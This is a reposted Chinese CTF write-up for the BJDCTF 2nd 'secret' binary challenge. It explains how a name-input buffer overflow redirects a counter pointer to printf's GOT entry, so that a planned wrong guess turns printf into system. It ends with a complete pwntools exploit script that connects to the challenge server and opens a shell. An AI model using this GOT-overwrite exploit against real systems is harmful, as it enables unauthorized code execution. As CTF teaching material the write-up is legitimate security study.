欢迎您访问程序员文章站本站旨在为大家提供分享程序员计算机编程知识!
您现在的位置是: 首页

BJDCTF 2nd secret

程序员文章站 2022-05-15 21:51:26
...

BJDCTF 2nd secret

首先,检查一下程序的保护机制

BJDCTF 2nd secret

然后,我们用IDA分析一下

是一个猜数游戏,数值全在代码里,但是有10000个,显然全部抠出来太慢了。

BJDCTF 2nd secret

我们再看一下其他函数,发现输入name时,存在缓冲区溢出,可以改写0x000000000046D090处的指针,而该处指针指向count变量,每猜一下,就会对count减1。

BJDCTF 2nd secret

BJDCTF 2nd secret

然后,我们注意到printf的got表的值比system的got表的值大,并且相差0x10.

BJDCTF 2nd secret

因此,我们可以利用溢出,把指针覆盖为printf的got表,然后猜对15次,最后一次猜错。这会导致printf的got表值减去16,也就变成了system的got表一样的值。从而能够调用system。

#coding:utf8
from pwn import *

#sh = process('./secret')
sh = remote('node3.buuoj.cn',26191)
elf = ELF('./secret')
printf_got = elf.got['printf']

answer = [0x476B,0x2D38,0x4540,0x3E77,0x3162,0x3F7D,0x357A,0x3CF5,0x2F9E,0x41EA,0x48D8,0x2763,0x474C,0x3809,0x2E63]
payload = '/bin/sh\x00'.ljust(0x10,'\x00') + p32(printf_got)
sh.sendafter("What's your name?",payload)
for x in answer:
   sh.sendlineafter('Secret:',str(x))
#现在printf的got表被修改为了system_plt
#getshell
sh.sendlineafter('Secret:','1')

sh.interactive()